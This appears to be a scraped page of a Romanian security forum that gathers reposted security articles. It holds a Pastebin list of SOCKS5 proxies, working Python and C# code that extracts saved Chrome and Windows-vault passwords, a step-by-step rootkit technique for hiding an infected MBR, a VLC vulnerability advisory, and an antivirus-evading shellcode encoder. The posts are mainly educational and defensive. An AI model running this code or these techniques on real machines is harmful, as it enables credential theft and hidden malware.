Nytro

[h=1]20-01-15 | VIP Socks 5 Servers (119)[/h] 20-01-15 | VIP Socks 5 Servers (119) Checked & filtered premium servers 107.152.104.44:50599 108.3.140.254:34574 111.90.159.200:12512 113.253.25.39:46046 121.211.21.238:17089 122.108.91.35:40975 124.160.35.2:808 130.237.16.25:20794 151.226.117.117:41816 162.104.79.68:28733 166.143.222.6:60104 170.163.116.108:80 173.161.58.177:20868 173.59.49.26:46147 174.57.25.16:19070 176.9.7.153:8777 178.137.171.205:36166 178.158.210.100:50250 180.153.139.246:8888 184.155.143.249:33697 184.59.142.248:20395 188.190.80.213:47118 194.247.12.49:25575 195.14.0.93:8080 195.22.8.47:53863 198.27.67.24:53193 198.8.92.212:9375 199.201.126.163:443 199.201.126.67:443 205.144.214.26:17232 209.148.89.210:53721 209.236.80.171:48179 212.57.179.193:2214 213.239.206.203:51042 216.8.240.194:23576 23.255.237.44:22999 24.155.226.138:29917 24.2.214.169:44300 24.200.71.134:19371 27.32.209.53:38158 31.202.206.22:47242 37.57.86.47:29108 46.185.34.205:21512 46.4.108.124:45288 46.4.88.203:9050 5.9.137.39:60555 5.9.60.41:5477 5.9.60.41:6060 61.147.67.2:9124 61.147.67.2:9125 62.183.105.233:8000 64.121.142.139:52491 65.24.180.150:18902 65.78.79.120:16905 66.172.99.160:20951 66.196.209.90:60159 66.83.236.125:80 67.86.13.241:37688 69.129.48.50:52259 69.253.214.65:35407 69.76.173.69:34598 71.194.121.105:48454 71.92.50.83:48964 73.17.20.150:32344 73.173.57.254:28077 73.190.248.101:28492 73.20.166.119:27670 73.25.97.27:39387 73.47.65.108:19160 73.51.146.191:41485 74.5.62.229:47309 75.183.75.32:46868 76.185.226.122:9691 77.242.22.254:8741 77.70.6.128:6789 78.39.178.2:443 78.62.77.63:5201 79.134.54.178:11721 81.159.25.90:31578 81.163.228.183:44921 84.109.188.145:17114 84.42.42.178:58530 85.15.66.132:16027 85.25.144.236:19494 85.30.233.152:34213 86.102.208.45:11970 86.102.208.45:18835 86.159.192.12:20548 88.203.104.225:41236 89.120.251.59:12937 89.215.95.7:22064 92.239.159.135:25079 92.245.196.43:21385 93.170.155.185:10536 93.170.155.185:8276 94.13.18.65:44238 94.211.155.1:25211 95.211.231.197:42094 95.211.231.198:15189 95.211.231.198:30436 95.211.231.198:30858 95.211.231.201:26507 95.211.231.201:53585 95.211.231.201:57872 95.211.231.202:1074 95.211.231.202:32234 95.211.231.202:40116 95.211.231.202:4215 95.211.231.202:60800 95.211.231.203:11165 95.211.231.203:20115 95.211.231.203:51061 96.227.244.232:32001 96.234.216.16:34369 96.237.192.11:16577 97.76.156.160:39954 97.81.116.155:42056 98.166.166.7:53444 98.237.12.7:21230 Sursa: 20-01-15 | VIP Socks 5 Servers (119) - Pastebin.com

In plus, o alta intrebare ar fi: Cat de white este acel "hack" pe o scara de la 1 la 10?

[h=1]Using External Tools With Metasploit - Metasploit Minute[/h] Metasploit Minute - the break down on breaking in. Join Mubix (aka Rob Fuller) every Monday here on Hak5. Thank you for supporting this ad free programming. Sponsored by Hak5 and the HakShop - Trust your Technolust – HakShop :: Subscribe and learn more at Metasploit Minute | Technolust since 2005 :: Follow Rob Fuller at Room362.com and Rob Fuller (@mubix) | Twitter

Muie @em . Ar trebui sa se ocupe dar e ocupat sa castige 100 de milioane pe luna si sa nu faca nimic pentru comunitate.

E Cyanogen modificat. Ultima versiune ar trebui sa contina ultimele patch-uri de la Cyanogen.

[h=1]Interven?ie CCR pentru sus?inerea neconstitu?ionalit??ii legii securit??ii cibernetice[/h] Interven?ie CCR pentru sus?inerea neconstitu?ionalit??ii legii securit??ii cibernetice | Date personale si viata privata

[h=1]SRI: Accesul la date cu caracter privat, posibil exclusiv în baza unei autoriza?ii de la judec?tor[/h] SRI: Accesul la date cu caracter privat, posibil exclusiv în baza unei autoriza?ii de la judec?tor - Mediafax

How Browsers Store Your Passwords (and Why You Shouldn't Let Them) Introduction In a previous post, I introduced a Twitter bot called dumpmon which monitors paste sites for account dumps, configuration files, and other information. Since then, I've been monitoring the information that is detected. While you can expect a follow-up post with more dumpmon-filled data soon, this post is about how browsers store passwords. I mention dumpmon because I have started to run across quite a few pastes like this that appear to be credential logs from malware on infected computers. It got me thinking - I've always considered it best to not have browsers store passwords directly, but why? How easy can it be for malware to pull these passwords off of infected computers? Since sources are a bit tough to find in one place, I've decided to post the results here, as well as show some simple code to extract passwords from each browser's password manager. The Browsers For this post, I'll be analyzing the following browsers on a Windows 8 machine. Here's a table of contents for this post to help you skip to whatever browser you're interested in: Chrome 27.0.1453.110 IE 10 Firefox 21.0 [TABLE=class: tr-caption-container] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Logos by Paul Irish [/TD] [/TR] [/TABLE] Chrome Difficulty to obtain passwords:Easy Let's start with Chrome. Disappointingly, I found Chrome to be the easiest browser to extract passwords from. The encrypted passwords are stored in a sqlite database located at "%APPDATA%\..\Local\Google\Chrome\User Data\Default\Login Data". But how do they get there? And how is it encrypted? I got a majority of information about how passwords are stored in Chrome from this article written over 4 years ago. Since a bit has changed since then, I'll follow the same steps to show you how passwords are handled using snippets from the current Chromium source (or you just skip straight to the decryption). Encryption and Storing Passwords When you attempt to log into a website, Chrome first checks to see if it was a successful login: We can see that if it's a successful login, and you used a new set of credentials that the browser didn't generate, Chrome will display a bar asking if you want your password to be remembered: To save space, I'm omitting the code that creates the Save Password bar. However, if we click "Save password", the Accept function is called, which in turn calls the "Save" function of Chrome's password manager : Easy enough. If it's a new login, we need to save it as such: Again to save space, I've snipped a bit out of this (a check is performed to see if the credentials go to a Google website, etc.). After this function is called, a task is scheduled to perform the AddLoginImpl() function. This is to help keep the UI snappy: This function attempts to call the AddLogin() function of the login database object, checking to see if it was successful. Here's the function (we're about to see how passwords are stored, I promise!): Now we're getting somewhere. We create an encrypted string out of our password. I've snipped it out, but below the "sql::Statement" line, a SQL query is performed to store the encrypted data in the Login Data file. The EncryptedString function simply calls the EncryptString16 function on an Encryptor object (this just calls the following function below): Finally! We can finally see that the password given is encrypted using a call to the Windows API function CryptProtectData. This means that the password is likely to only be recovered by a user with the same logon credential that encrypted the data. This is no problem, since malware is usually executed within the context of a user. Decrypting the Passwords Before talking about how to decrypt the passwords stored above, let's first take a look at the Login Data file using a sqlite browser. Our goal will be to extract the action_url, username_value, and password_value (binary, so the SQLite browser can't display it) fields from this database. To decrypt the password, all we'll need to do is make a call to the Windows API CryptUnprotectData function. Fortunately for us, Python has a great library for making Windows API calls called pywin32. Let's look at the PoC: [TABLE=class: lines highlight] [TR] [TD=class: line-numbers] [/TD] [TD=class: line-data] #The MIT License (MIT) # Copyright © 2012 Jordan Wright <jordan-wright.github.io> # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. from os import getenv import sqlite3 import win32crypt # Connect to the Database conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data") cursor = conn.cursor() # Get the results cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): # Decrypt the Password password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1] if password: print 'Site: ' + result[0] print 'Username: ' + result[1] print 'Password: ' + password [/TD] [/TR] [/TABLE] view raw chrome_extract.py hosted with ? by GitHub And, by running the code, we see we are successful! While it was a bit involved to find out how the passwords are stored (other dynamic methods could be used, but I figured showing the code would be most thorough), we can see that not much effort was needed to actually decrypt the passwords. The only data that is protected is the password field, and that's only in the context of the current user. Internet Explorer Difficulty to obtain passwords:Easy/Medium/Hard (Depends on version) Up until IE10, Internet Explorer's password manager used essentially the same technology as Chrome's, but with some interesting twists. For the sake of completeness, we'll briefly discuss where passwords are stored in IE7-IE9, then we'll discuss the change made in IE10. Internet Explorer 7-9 In previous versions of Internet Explorer, passwords were stored in two different places, depending on the type of password. Registry (form-based authentication) - Passwords submitted to websites such as Facebook, Gmail, etc. Credentials File - HTTP Authentication passwords, as well as network login credentials For the sake of this post, we'll discuss credentials from form-based authentication, since these are what an average attacker will likely target. These credentials are stored in the following registry key: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2 Looking at the values using regedit, we see something similar to the following: As was the case with Chrome, these credentials are stored using Windows API function CryptProtectData. The difference here is that additional entropy is provided to the function. This entropy, also the registry key, is the SHA1 checksum of the URL (in unicode) of the site for which the credentials are used. This is beneficial because when a user visits a website IE can quickly determine if credentials are stored for it by hashing the URL, and then using that hash to decrypt the credentials. However, if an attacker doesn't know the URL used, they will have a much harder time decrypting the credentials. Attackers will often be able to mitigate this protection by simply iterating through a user's Internet history, hashing each URL, and then checking to see if any credentials have been stored for it. While I won't paste the entire code here, you can find a great example of a full PoC here. For now, let's move on to IE10. Internet Explorer 10 Note: Please refer to the comment below by Amy Adams regarding the fact that Windows Store Apps cannot access stored credentials in the way described above. However, this method is still relevant for applications running in the context of the user. IE10 changed the way it stores passwords. Now, all autocomplete passwords are stored in the Credential Manager in a location called the "Web Credentials". It looks something like the following: To my knowledge (I wasn't able to find much information on this), these credential files are stored in %APPDATA%\Local\Microsoft\Vault\[random]. A reference to what these files are, and the format used could be found here. What I do know is that it wasn't hard to obtain these passwords. In fact, it was extremely easy. Microsoft recently provided a new Windows runtime for more API access. This runtime provides access to a Windows.Security.Credentials namespace which provides all the functionality we need to enumerate the user's credentials. In fact, here is a short PoC C# snippet which, when executed in the context of a user, will retrieve all the stored passwords: [TABLE=class: lines highlight] [TR] [TD=class: line-numbers] [/TD] [TD=class: line-data] /*The MIT License (MIT) Copyright © 2012 Jordan Wright <jordan-wright.github.io> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.*/ using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using Windows.Security.Credentials; namespace PasswordVaultTest { class Program { static void Main(string[] args) { // Create a handle to the Widnows Password vault Windows.Security.Credentials.PasswordVault vault = new PasswordVault(); // Retrieve all the credentials from the vault IReadOnlyList<PasswordCredential> credentials = vault.RetrieveAll(); // The list returned is an IReadOnlyList, so there is no enumerator. // No problem, we'll just see how many credentials there are and do it the // old fashioned way for (int i = 0; i < credentials.Count; i++) { // Obtain the credential PasswordCredential cred = credentials.ElementAt(i); // "Fill in the password" (I wish I knew more about what this was doing) cred.RetrievePassword(); // Print the result Console.WriteLine(cred.Resource + ':' + cred.UserName + ':' + cred.Password); } Console.ReadKey(); } } } [/TD] [/TR] [/TABLE] view raw ie_extract.cs hosted with ? by GitHub When executing the program, the output will be similar to this: Note: I removed some sites that I believe came from me telling IE not to record. Other than that, I'm not sure how they got there. As you can see, it was pretty trivial to extract all the passwords in use from a given user, as long as our program is executing in the context of the user. Moving right along! Firefox Difficulty to obtain passwords:Medium/Very Hard Next let's take a look at Firefox, which was tricky. I primarily used these slides (among a multitude of other resources) to find information about where user data is stored. But first, a little about the crypto behind Firefox's password manager. Mozilla developed a open-source set of libraries called "Network Security Services", or NSS, to provide developers with the ability to create applications that meet a wide variety of security standards. Firefox makes use of an API in this library called the "Secret Decoder Ring", or SDR, to facilitate the encryption and decryption of account credentials. While it may have a "cutesy name", let's see how it's used by Firefox to provide competitive crypto: When a Firefox profile is first created, a random key called an SDR key and a salt are created and stored in a file called "key3.db". This key and salt are used in the 3DES (DES-EDE-CBC) algorithm to encrypt all usernames and passwords. These encrypted values are then base64-encoded, and stored in a sqlite database called signons.sqlite. Both the "signons.sqlite" and "key3.db" files are located at %APPDATA%/Mozilla/Firefox/Profiles/[random_profile]. So what we need to do is to get the SDR key. As explained here, this key is held in a container called a PKCS#11 software "token". This token is encapsulated inside of a PKCS#11 "slot". Therefore, to decrypt the account credentials, we need to access this slot. But there's a catch. This SDR key itself is encrypted using the 3DES (DES-EDE-CBC) algorithm. The key to decrypt this value is the hash of what Mozilla calls a "Master Password", paired with another value found in the key3.db file called the "global salt". Firefox users are able to set a Master Password in the browser's settings. The problem is that many users likely don't know about this feature. As we can see, the entire integrity of a user's account credentials hinges on the complexity of chosen password that's tucked away in the security settings, since this is the only value not known to the attacker. However, it can also been that if a user picks a strong Master Password, it is unlikely that an attacker will be able to recover the stored credentials. Here's the thing - if a user doesn't set a Master Password, a null one ("") is used. This means that an attacker could extract the global salt, hash it with "", use that to decrypt the SDR key, and then use that to compromise the user's credentials. Let's see what this might look like: To get a better picture of what's happening, let's briefly go to the source. The primary function responsible for doing credential decryption is called PK11SDR_Decrypt. While I won't put the whole function here, the following functions are called, respectively: PK11_GetInternalKeySlot() //Gets the internal key slot PK11_Authenticate() //Authenticates to the slot using the given Master Password PK11_FindFixedKey() //Gets the SDR key from the slot pk11_Decrypt() //Decrypts the base64-decoded data using the found SDR key As for example code to decrypt the passwords, since this process is a bit involved, I won't reinvent the wheel here. However, here are two open-source projects that can do this process for you: FireMaster - Brute forces master passwords ffpasscracker - I promised you Python, so here's a solution. This uses the libnss.so library as a loaded DLL. To use this on Windows, you can use these cygwin DLL's. Conclusion I hope this post has helped clarify how browsers store your passwords, and why in some cases you shouldn't let them. However, it would be unfair to end the post saying that browsers are completely unreliable at storing passwords. For example, in the case of Firefox, if a strong Master Password is chosen, account details are very unlikely to be harvested. But, if you would like an alternative password manager, LastPass, KeePass, etc. are all great suggestions. You could also implement two-factor authentication using a device such as a YubiKey. As always, please don't hesitate to let me know if you have any questions or suggestions in the comments below. - Jordan (@jw_sec) Posted by Jordan at 10:08 PM Sursa: http://raidersec.blogspot.ca/2013/06/how-browsers-store-your-passwords-and.html

The common mistakes every newbie pentester makes Dec 23, 2014 by Steve Lord In Penetration Testing. Every penetration tester goes through several rites of passage on their path from lowly nessus monkey to experienced pentester. I wouldn’t say that these are my favourites but they are surprisingly common. How many have you checked off the list? Not being prepared Whether it’s a product of laziness or just being on back to back gigs for weeks on end, at some point (usually now and again) a pentester goes on-site completely unprepared for the task at hand. Is it unprofessional? Yes, of course. Does it happen? Yes, of course. There are different forms of not being prepared, from simply not running the latest software updates through to the catastrophic situation of having pretty much zero knowledge of the test ahead and none of the equipment. How well you handle this is something that will pretty much define your success as a tester. Normally it’s the client that’s unprepared, so on that one occasion the customer has everything ready to go and you’re still trying to find the proposal in your email somewhere is usually the time where everything goes wrong in the worst possible way. The very worst form of not being prepared is when you’re perfectly prepared and something truly horrible happens like a a last minute update hosing your entire build. There’s a reason that we freeze all but critical updates days before a penetration test at Mandalorian, and that reason is the very bitter voice of experience itself. Dressing incorrectly on site Most pentesters will either wear a suit on-site or will wear something more casual for the server room like a polo shirt, black trousers and shoes. Occasionally there’s a pentester who’ll turn up in something wholly inappropriate like a tracksuit, or even worse. I consider this a variant of not being prepared, but there’s nothing like the feeling of getting up early waiting for Asda to open so you can buy the least skankiest suit available before going on-site because you left your luggage hundreds of miles away at home. Yes, this happened to me. Not getting to know their tools Everyone hates on Nessus, it’s a given. Everyone thinks Nmap is the best port scanner (which is only true for certain values of best, not all). Everyone hates on Windows, except for the people who hate on OSX more. At Mandalorian everyone hates on Libreoffice. Except me. I took the time to learn how to use it the Libreoffice way. Having said that, I’m not immune. The other day I was writing 3,000 words on traceroute for Breaking In and found out for the first time that most Unix traceroute implementations now support TCP static port traceroutes out of the box, after over 10 years of using the excellent Hping instead. Time spent learning how to get more from your existing tools is usually returned in spades. Not storing evidence So you’ve hacked the AD to shreds, compromised every aspect of the environment and left the place in total disarray. Great stuff. Now when you come to start writing up findings you notice something… missing. Before you know it you’re reliant on things you remembered but didn’t write down and things you swore you wrote down but can’t find. At Mandalorian we have a standard file structure enshrined in our methodology specifically designed for the situation where someone gets hit by a bus and has to hand a gig over partway through. By keeping things in a standard location and logging as much practical information as possible you ensure that in six months time when asked about a finding you can give an accurate answer. Using scanner output in a report finding Don’t. Just don’t. At Mandalorian it’s viewed so dimly that it’s actually governed by the disciplinary procedure. Why? In every pentest you need to ask yourself, “What value am I adding here over and above an automated tool the end user could run themselves?” If the answer is none, then they should be running an automated tool themselves. You’re not an automated tool, you’re better than that. If you’re not, then you should be. Not providing references to further information Findings should be both concise and as detailed as they need to be. Understandably this can present a problem, the ideal solution to which is to point the reader elsewhere. At the very least you should use CVE references in infrastructure test reports, and either the OWASP Top 10 or something like CWE for web-based application tests. Scanning the wrong IP address We’ve all done this one. It happens. You put a dot in the wrong place or something goes the wrong way. Check before you start testing, check during testing and check your results before finishing testing. I like to store my target lists in a text file for infrastructure tests, then reference the file. That way I know I’m at worst getting it consistently wrong. Including your own system in the results It’s great when you have some critical findings for the report, but somewhat embarrassing when they turn out to be for your own system. Make sure whatever you take on-site is hardened, and don’t assume that you won’t be attacked while on-site. Closing/Crashing without saving If I could only pick a single entry in this list then this would be it, or possibly scanning the wrong IP address. It’s not uncommon to start writing something, go off and do something else, then come back and update. All too often though, something causes a process or the entire test system to fall over and you’re left hunting for swap files trying to find your test notes. Always save before executing anything that might fork out of control or generate serious load or i/o, but of course I’m preaching to the converted. Sursa: https://rawhex.com/2014/12/the-common-mistakes-every-newbie-pentester-makes/

[h=1]Using Kernel Rootkits to Conceal Infected MBR[/h] If you've look at any of the major bootkits such as TDL4 and Rovnix, you've probably noticed they employ certain self defense features to prevent removal; specifically, intercepting read/write requests to the boot sectors. While these defense mechanisms can fool some software, they may, in some cases, make infections even easier to spot. Rovnix is probably the less stealthy of the two: It intercepts read/write requests to the boot disk by hooking the miniport driver, on read attempts it fills the buffer with zeros, resulting in the boot sectors appearing completely empty, on write requests it simply returns ACCESS_DENIED. Although this does prevent reading & writing the sectors, it's usually a sure sign of an infection when the boot sector is blank but your system boots, or you can't write the boot sector even with SYSTEM privileges. On the other had we have TDL4, which goes a step further: Instead of filling the buffer with zeros during read attempts, it instead replaces the read data with the original, non-infected master boot record (MBR). As a result of TDL4's clever trickery, any tools attempting to read the MBR will just see the original windows MBR and assume nothing is wrong; however, TDL4 also opted for a similar method to Rovnix by just denies writes to the boot sector, but with the slightly more inconspicuous error: STATUS_INVALID_DEVICE_REQUEST. Obviously straight up denying write requests to the boot sector is going to raise some questions, so what if we improved upon TDL4's method and also allowed writing to the spoofed, non-infected MBR, instead of the real one on disk. [h=2]Intercepting Disk I/O[/h] There's a lot of places in the kernel that disk I/O can be intercepted to trick user mode tools; however, any software using kernel drivers can bypass high level hooks. The first though would probably be to hook Disk.sys (the driver responsible for handling disk operations), but although this would work against some tools, there are trick to avoid it, I'll explain how. Disk.sys handles disk I/O, it doesn't actually send any requests to the hard drive, it simply acts as a middleman translating kernel disk I/O requests into SCSI requests (the protocol used to communicate with the hard drive). Once Disk.sys has translated a request, it dispatches it to another, lower level driver (known as a Miniport driver), in the form of an SCSI_REQUEST_BLOCK, which the Miniport sends to the hardware via the Port driver. The Miniport is generally operating system independent, whilst the port driver is specific to certain OS version and even hardware, making the Miniport the best place to hook without getting into hardware dependent territory. Finding a Miniport driver is pretty straight forward as all drivers/devices are stacked, so we simply walk down the device stack until we reach the bottom most device (The Miniport). [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]2 identical device stacks for different disks[/TD] [/TR] [/TABLE] The device "\Device\HardDisk0\DR0" is almost always the boot disk and is the NT device name for "\\.\PhysicalDrive0". The device directly below the disk device is the Miniport and usually belongs to atapi.sys, scsiport.sys, iastor.sys (or in the case of vmware, lsi_sas.sys), this is the driver we want to hook. We can get the device object of the Miniport by opening "\Device\HardDisk0\DR0" then calling "IoGetLowerDeviceObject" with it, all we then need to do is replace the IRP_MJ_SCSI pointer in the driver's object with a pointer to our filter routine, which will intercept all I/O for that disk device. [h=2]Filtering Miniport Requests[/h] KeyIoStack = IO_STACK_LOCATION Srb = SCSI_REQUEST_BLOCK Cdb = CDB (SCSI Command Block) All the information we need is in the SCSI_REQUEST_BLOCK pointed to by IoStack->Parameters.Scsi.Srb, we only need to filter WRITE(10) and READ(10) SCSI operations on disks 2 TB or smaller ("Srb.CdbLength == 10"). Next we simply check the opcode in the Cdb for SCSIOP_READ or SCSIOP_READ_DATA_BUFF for read operations and similarly SCSIOP_WRITE or SCSIOP_WRITE_DATA_BUFF for write operations. Now we need to see if the request is attempting to read or write sectors that overlap the MBR, which is located at logical block address (LBA) 0, by checking the LogicalBlock and TransferLength field in the Cdb, (these values are big-endian so will need to be converted to little-endian before checking them). The driver will store the clean MBR into a buffer allocated at runtime, all read/write requests will be done to/from the clean MBR buffer, instead of the actual MBR on disk. Processing Intercepted Read Requests Set up a completion routine to be called after the hard disk has processed the read request. When the completion routine is called, map the caller's buffer (Irp->MdlAddress) into system memory and replace the infected mbr with the clean one in it. Allow the request to complete. Processing Intercepted Write Requests Write requests are a little different: If the caller is only trying to write 1 sector (just the MBR), we can process the request ourselves; however, if the caller is trying to write multiple sectors (including the MBR), things get a bit more tricky. Map the caller's buffer (Srb->DataBuffer) into system memory and read the first 512 bytes (1 sector) into the clean MBR buffer. Increment the caller's buffer (Srb->DataBuffer) by 512 bytes. Decrement the transfer length (Srb->DataTransferLength) by 512 bytes. Add 1 to the Logical Block Address (Stored in Cdb). Subtract 1 from the Number of blocks to transfer (Stored in Cdb). Pass the request to the real Miniport (this will write all the sectors the caller wanted, except the MBR). Replace the original Srb->DataBuffer (Just to be safe). If the call succeeded, add 512 to Srb->DataTransferLength (This is the number of bytes actually written to disk, because we skipped them MBR we need to make it seem like we didn't). Allow the request to complete. [h=2]Proof of Concept[/h] I've written a proof of concept driver that will make the MBR appear to contain the following text: Is this the real code? Is this just spoofed for me? bots trying to hide. Not sure of the legality. The system will be able to read/write to this fake MBR without modifying the real one, when the driver is unloaded or the system rebooted, the original MBR will still be intact and the face one will be gone. For some reason the driver will crash the system if loaded then unloaded many times in a row without reboot, but it's not a huge issue and I'm too lazy to debug. GitHub of code: https://github.com/MalwareTech/FakeMBR/ Sursa: Using Kernel Rootkits to Conceal Infected MBR | MalwareTech

VLC Media Player 2.1.5 Memory Corruption Vulnerabilities From: Veysel hata? <vhatas () gmail com> Date: Fri, 16 Jan 2015 14:28:45 +0200 Title : VLC Player 2.1.5 DEP Access Violation Vulnerability Discoverer: Veysel HATAS (@muh4f1z) Web page : Binary Sniper Vendor : VideoLAN VLC Project Test: Windows XP SP3 Status: Not Fixed Severity : High CVE ID : CVE-2014-9597 OSVDB ID : 116450 <http://osvdb.org/show/osvdb/116450> VLC Ticket : 13389 <https://trac.videolan.org/vlc/ticket/13389> Discovered : 24 November 2014 Reported : 26 December 2014 Published : 9 January 2015 windbglog : https://trac.videolan.org/vlc/attachment/ticket/13389/windbglog.txt <https://trac.videolan.org/vlc/attachment/ticket/13390/windbglog.txt> Description : VLC Media Player contains a flaw that is triggered as user-supplied input is not properly sanitized when handling a specially crafted FLV file <http://www.datafilehost.com/d/9565165f>. This may allow a context-dependent attacker to corrupt memory and potentially execute arbitrary code. --------------------------------------------------------------------------------------------------------------------------------------------- Title : VLC Player 2.1.5 Write Access Violation Vulnerability Discoverer: Veysel HATAS (@muh4f1z) Web page : Binary Sniper Vendor : VideoLAN VLC Project Test: Windows XP SP3 Status: Not Fixed Severity : High CVE ID : CVE-2014-9598 OSVDB ID : 116451 <http://osvdb.org/show/osvdb/116451> VLC Ticket : 13390 <https://trac.videolan.org/vlc/ticket/13390> Discovered : 24 November 2014 Reported : 26 December 2014 Published : 9 January 2015 windbglog : https://trac.videolan.org/vlc/attachment/ticket/13390/windbglog.txt Description : VLC Media Player contains a flaw that is triggered as user-supplied input is not properly sanitized when handling a specially crafted M2V file <http://www.datafilehost.com/d/11daf208>. This may allow a context-dependent attacker to corrupt memory and potentially execute arbitrary code. Sursa: Full Disclosure: VLC Media Player 2.1.5 Memory Corruption Vulnerabilities (CVE-2014-9597, CVE-2014-9597)

ShmooCon Firetalks 2015 These are the videos for the ShmooCon Firetalks 2015. Thanks to: NoVA Hackers! (NoVAH!) Opening - @grecs PlagueScanner: An Open Source Multiple AV Scanner Framework - Robert Simmons (@MalwareUtkonos) I Hunt Sys Admins - Will Schroeder (@harmj0y) Collaborative Scanning with Minions: Sharing is Caring - Justin Warner (@sixdub) Chronicles of a Malware Hunter - Tony Robinson (@da_667) SSH-Ranking - Justin Brand (@moo_pronto) Resource Public Key Infrastructure - Andrew Gallo (@akg1330) Sursa: http://www.irongeek.com/i.php?page=videos%2Fshmoocon-firetalks-2015

[h=1]Linux Commands for Penetration Testers[/h]A collection of hopefully useful Linux Commands for pen testers, this is not a complete list but a collection of commonly used commands + syntax as a sort of “cheatsheet”, this content will be constantly updated as I discover new awesomeness. Link: https://highon.coffee/docs/linux-commands/

Penetration testing - A Hands-On Introduction to Hacking San Francisco by Georgia Weidman About the Author Georgia Weidman is a penetration tester and researcher, as well as the founder of Bulb Security, a security consulting firm. She presents at conferences around the world including Black Hat, ShmooCon, and DerbyCon, and teaches classes on topics such as penetration testing, mobile hacking, and exploit development. Her work in mobile security has been featured in print and on television internationally. She was awarded a DARPA Cyber Fast Track grant to continue her work in mobile device security. Brief Contents Foreword by Peter Van Eeckhoutte xix Acknowledgments . xxiii Introduction xxv Chapter 0: Penetration Testing Primer 1 Part I: The Basics Chapter 1: Setting Up Your Virtual Lab 9 Chapter 2: Using Kali Linux 55 Chapter 3: Programming . 75 Chapter 4: Using the Metasploit Framework . 87 Part II: Assessments Chapter 5: Information Gathering . 113 Chapter 6: Finding Vulnerabilities 133 Chapter 7: Capturing Traffic 155 Part III: Attacks Chapter 8: Exploitation 179 Chapter 9: Password Attacks 197 Chapter10: Client-Side Exploitation . 215 Chapter 11: Social Engineering 243 Chapter 12: Bypassing Antivirus Applications 257 Chapter 13: Post Exploitation 277 Chapter 14: Web Application Testing 313 Chapter 15: Wireless Attacks 339 viii Brief Contents ? Part IV: Exploit Development Chapter 16: A Stack-Based Buffer Overflow in Linux . 361 Chapter 17: A Stack-Based Buffer Overflow in Windows 379 Chapter 18: Structured Exception Handler Overwrites 401 Chapter 19: Fuzzing, Porting Exploits, and Metasploit Modules 421 Part V: Mobile Hacking Chapter 20: Using the Smartphone Pentest Framework . 445 Resources . 473 Index . 477 Download: http://www.caluniv.ac.in/free_book/Cyber-Security/Penetration%20Testing%20A%20Hands-On%20Introduction%20to%20Hacking.pdf Nota: Autorul este o tipa. :->

SLAE: Custom RBIX Shellcode Encoder/Decoder Anti-Virus and Intrusion Detection Systems could become really nasty during a penetration test. They are often responsible for unstable or ineffective exploit payloads, system lock-downs or even angry penetration testers . The following article is about a simple AV and IDS evasion technique, which could be used to bypass pattern-based security software or hardware. It’s not meant to be an all-round solution for bypassing strong heuristic-based systems, but it’s a good starting point to further improve these encoding/obfuscation technique. Therefore this article covers shellcode encoders and decoders in my SecurityTube Linux Assembly Expert certification series. Random-Byte-Insertion-XOR Encoding Scheme The encoding scheme itself is actually quite easy. The idea is to take a random byte as the base for a XOR operation, and to chain the next XOR operation based on the result of the previous. The same goes for the 3rd and 4th byte. The following flow-graph quickly describes what’s happening during the encoding process: First of all (before step #1 is performed), the encoder splits the input shellcode into multiple blocks with a length of 3 bytes each and adds a random byte (value 0x01 to 0xFF) at the beginning of each of those blocks, so that these random bytes differ from block to block. If the shellcode is not aligned to these 3 byte-blocks, an additional NOP-padding (0x90) is added to the last block. During the second step, the encoder XORs the first (the random byte) with the second byte (this is originally the first byte of the shellcode) and overwrites the second byte with the XOR result. The third step takes the result from the first XOR operation and XORs it again with the third byte, and the last step does the same and XORs the result of the previous XOR operation with the last byte of the block. This results in a completely shredded-looking piece of memory Articol complet: https://www.rcesecurity.com/2015/01/slae-custom-rbix-shellcode-encoder-decoder/

